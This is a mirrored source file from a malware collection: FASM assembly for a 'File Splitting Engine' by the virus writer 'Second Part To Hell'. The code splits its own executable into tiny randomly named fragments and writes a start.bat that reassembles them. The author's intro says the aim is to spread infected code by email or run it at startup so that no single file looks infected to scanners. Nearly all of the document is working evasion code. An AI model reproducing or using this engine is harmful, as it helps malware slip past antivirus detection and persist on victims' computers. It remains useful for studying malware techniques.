mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
302 lines
9.6 KiB
NASM
302 lines
9.6 KiB
NASM
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File Splitting Engine
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by Second Part To Hell
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www.spth.de.vu
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spth@priest.com
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written in May-June 2005
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in Austria
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This is just a small engine, but I'm sure it could be very useful.
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What does the engine do? It splitts the current file into 3-10 byte
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parts and creates a joining file (called start.bat).
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To understand it's purpose, you should read my article called
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"Over-File Splitting".
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What could you do with the splitted files?
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- You could make an archive (via own routing, possible installed WinZIP/RAR
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or use the WinME+ preinstalled function [C:\WINDOWS\System32\zipfldr.dll,-10195]
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to compress files.) This file now could be send out via eMail.
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The advantage: No file is infected with an virus - but all together they are.
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- You could save all files in a directory (Windir, system32, whatever), and
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call the joining file every startup. What may happen? Virus/Worm works at
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the computer, but no file is infected :)
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- You could think of your own way to use this technique. Lazy ass :)
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How to compile:
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- Delete this intro
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- Use flat assembler 1.56
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Now: Much fun with it :)
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [File Splitting Engine] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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include '..\FASM\INCLUDE\win32ax.inc'
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.data
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c_file_name dd 0x0
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c_file_rnd_name: times 8 db 0x0
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db '.tmp',0
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c_file_handle dd 0x0
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c_file_size dd 0x0
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c_map_handle dd 0x0
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c_map_pointer dd 0x0
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compain_name db 'start.bat',0
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compain_data dd 0x0
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compain_pointer dd 0x0
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compain_start db 'copy '
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compain_handle dd 0x0
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split_handle dd 0x0
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split_counter db 0x0
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rand_name_buffer: times 8 db 0x0
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rnd_file_name: times 8 db 0x0
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db '.tmp',0
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ZERO_field dd 0x0
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systemtime_struct: ; for random number
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dw 0 ; wYear
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dw 0 ; wMonth
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dw 0 ; wDayOfWeek
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dw 0 ; wDay
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dw 0 ; wHour
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dw 0 ; wMinute
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dw 0 ; wSecond
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rnd: dw 0 ; wMilliseconds
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.code
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start:
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invoke GetCommandLine
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inc eax ; Delete first "
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mov ebx, eax ; Save eax
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get_my_name:
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inc ebx ; Get next letter
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cmp byte [ebx], '.' ; Compare with '.'
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jne get_my_name
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mov byte [ebx+4], 0x0 ; Delete the second "
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mov [c_file_name], eax ; Save the pointer
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invoke DeleteFile, compain_name ; Delete the old compainer-file the file
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mov ebp, 0xAAAAAAAA ; Influences the random engine
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call random_name ; random name in rnd_file_name
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mov esi, rnd_file_name ; From: random-name buffer
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mov edi, c_file_rnd_name ; To: Buffer for this copy of the file
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mov ecx, 8 ; How much: 8 letters
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rep movsb ; Copy string
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invoke CopyFile, [c_file_name], c_file_rnd_name, FALSE ; Copies the current file to a .tmp
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invoke CreateFile, c_file_rnd_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0x0 ; Open own file
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mov [c_file_handle], eax ; Save the file handle
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invoke GetFileSize, [c_file_handle], c_file_size ; Get the size of the file
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mov [c_file_size], eax ; Low Filesize returned in eax
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invoke CreateFileMapping, [c_file_handle], 0x0, PAGE_READWRITE, 0x0, [c_file_size], 0x0 ; Create a Map
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mov [c_map_handle], eax ; Save the Map handle
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invoke MapViewOfFile, [c_map_handle], FILE_MAP_WRITE, 0x0, 0x0, [c_file_size] ; Map view of file
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mov [c_map_pointer], eax ; Save the pointer of file
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invoke VirtualAlloc, 0x0, 0x120000, 0x1000, 0x4 ; Reserve Space in Memory
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mov [compain_data], eax ; Save the pointer to it.
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mov [compain_pointer], eax ; Save again
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mov esi, compain_start ; What to write
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mov edi, [compain_pointer] ; Where to write
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mov ecx, 5 ; How much to write
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rep movsb ; Write!
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add [compain_pointer], 5 ; Get next empty byte to write
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main_loop:
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mov ebp, 0xAAAAAAAA ; Influences the random engine
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call random_name ; random name in rnd_file_name
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invoke CreateFile, rnd_file_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0
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cmp eax, INVALID_HANDLE_VALUE ; If file already existed
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je main_loop ; then get a new file-name
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mov [split_handle], eax ; Save the file-handle
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call random_number ; Get random number
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xor eax, eax ; eax=0
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mov al, [rand_name_buffer] ; al~=random
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and al, 7 ; al= 0000 0???
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add al, 3 ; At least three byte
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mov [split_counter], al ; Save that bytes
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sub [c_file_size], eax ; Decrease the bytes to write
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invoke WriteFile, [split_handle], [c_map_pointer], eax, ZERO_field, 0x0 ; Write (1..8) byte
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invoke CloseHandle, [split_handle] ; Close the file
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xor eax, eax
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mov al, [split_counter] ; How many bytes written
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add [c_map_pointer], eax ; Add the pointer - write the next few bytes next time
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mov esi, rnd_file_name ; From: Filename-buffer
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mov edi, [compain_pointer] ; To: compainer-pointer
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mov ecx, 12 ; 8+strlen('.tmp')
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rep movsb ; Write!
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add [compain_pointer], 12 ; Add 12 to pointer
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mov eax, [compain_pointer] ; Pointer to eax
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mov byte [eax], '+' ; Move '+' to the code's memory
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inc [compain_pointer] ; Increase the pointer
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cmp [c_file_size], 0 ; Compare if more bytes to write
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jg main_loop ; If yes, jmp to main_loop
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invoke UnmapViewOfFile, [c_map_pointer] ; Unmap View of File
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invoke CloseHandle, [c_map_handle] ; Close Map
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invoke CloseHandle, [c_file_handle] ; Close File
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invoke DeleteFile, c_file_rnd_name ; Delete the temporary copy of the current file
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invoke CreateFile, compain_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0
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mov [compain_handle], eax
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mov eax, [compain_pointer] ; eax=pointer
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dec eax ; Delete the last '+'
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mov byte [eax], 0x20 ; Add a space
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inc [compain_pointer] ; Increase pointer again
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mov ebp, 0xAAAAAAAA ; Influences the random engine
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call random_name ; random name in rnd_file_name
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mov eax, rnd_file_name ; RND-pointer in eax
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add eax, 8 ; add 8 to pointer (='.' of filename)
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mov dword [eax], '.exe' ; instate of '.tmp', '.exe'
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dec [compain_pointer]
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mov esi, rnd_file_name ; From: rnd_file_name
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mov edi, [compain_pointer] ; To: compainter_pointer
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mov ecx, 12 ; How much: 12 bytes
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rep movsb ; Write
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add [compain_pointer], 12 ; Add 12, to get the end again
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mov eax, [compain_pointer] ; eax=pointer to content
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mov word [eax], 0x0A0D ; Next Line
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add [compain_pointer], 2
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mov esi, rnd_file_name ; From: rnd_file_name
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mov edi, [compain_pointer] ; To: compainter_pointer
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mov ecx, 12 ; How much: 12 bytes
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rep movsb ; Write
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add [compain_pointer], 12 ; Add 12, to get the end again
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mov eax, [compain_data]
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sub [compain_pointer], eax
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invoke WriteFile, [compain_handle], [compain_data], [compain_pointer], ZERO_field, 0x0 ; Write the file
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invoke CloseHandle, [compain_handle]
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invoke ExitProcess, 0x0
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random_number:
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pop edi ; Get value of stack
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push edi ; Back to the stack
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mov ecx, 8 ; ecx=counter
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mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random
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mov dl, 0x87 ; same as dh
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random_name_loop:
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push dx ; Save dx at stack
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push ecx ; Save counter at stack
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call random_byte ; Random number in al
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pop ecx ; get counter
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xor al, cl ; Counter influences pseudo random number
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pop dx ; Get dx
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push ecx
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xor dx, cx ; Counter influences influncing number
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add dh, al ; Random number influences influencing number
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sub dl, al ; Same as dh
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neg dl ; Neg dl
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xor dl, dh ; dl XOR dh -> more variability
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xor al, dl ; random number changes
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sub ax, di ; value of stack influences random number
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add ax, dx ; ax+dx
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mov dl, [rand_name_buffer+ecx-2]
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mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????
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sub al, dl ; al-=dl
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add al, dh ; al+=dh
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mov ah, dl ; ah=dl
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push ax ; AX to stack
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mov cl, 1 ; cl=1
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or dh, cl ; dh is at least 1 (to reduce chance of result=zero)
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mul dh ; AL=AX*DH
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pop cx ; CX=old AX
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push cx ; To stack again
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add cl, al ; CL+=AL
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sub cl, ah ; CL-=AH
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xchg al, cl ; AL=CL
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mov cx, bp ; cx=bp
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mul cl ; AX=AL*CL
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neg ah ; NEG AH
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xor al, ah ; xor AL and AH
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pop cx ; get old AX
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sub cl, al ; SUB
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add cl, dl ; cl+=old random number
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sub al, cl ; al ~=random :)
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pop ecx ; Get counter
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mov [rand_name_buffer+ecx-1], al ; Save random letter
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loop random_name_loop
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ret
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random_name:
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call random_number ; Get 8 random bytes
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mov ecx, 8 ; counter=8, as we want to do it 8 times
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changetoletter:
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mov al, [rand_name_buffer+ecx-1] ; Get a letter
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mov bl, 10 ; BL=10
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xor ah, ah ; AX: 0000 0000 ???? ????
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div bl ; AL=rnd/10=number between 0 and 25
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add al, 97 ; Add 97 for getting lowercase letters
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mov [rnd_file_name+ecx-1], al ; Save random letter
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loop changetoletter
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ret
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random_byte:
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invoke GetSystemTime, systemtime_struct ; Get first number
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mov ebx, [rnd-2] ; ebx=number
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add ebx, edx ; Making it pseudo-independent of time
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sub ebx, ecx
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xor ebx, eax
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xchg bl, bh
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pop ecx
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push ecx
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neg ebx
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xor ebx, ecx ; ebx=pseudo-indepentend number
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invoke GetTickCount ; Get second number
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xor eax, ecx ; eax=number
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neg ax ; Making it pseudo-independent of time
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xor eax, edx
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xor ah, al
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sub eax, ebp
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add eax, esi ; eax=pseudo-indepentend number
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xor eax, ebx ; Compain the numbers -> eax
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mov ebx, eax ; Save eax
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shr eax, 8 ; e-part -> ax
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xor ax, bx
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xor al, ah ; al=number
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ret
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.end start
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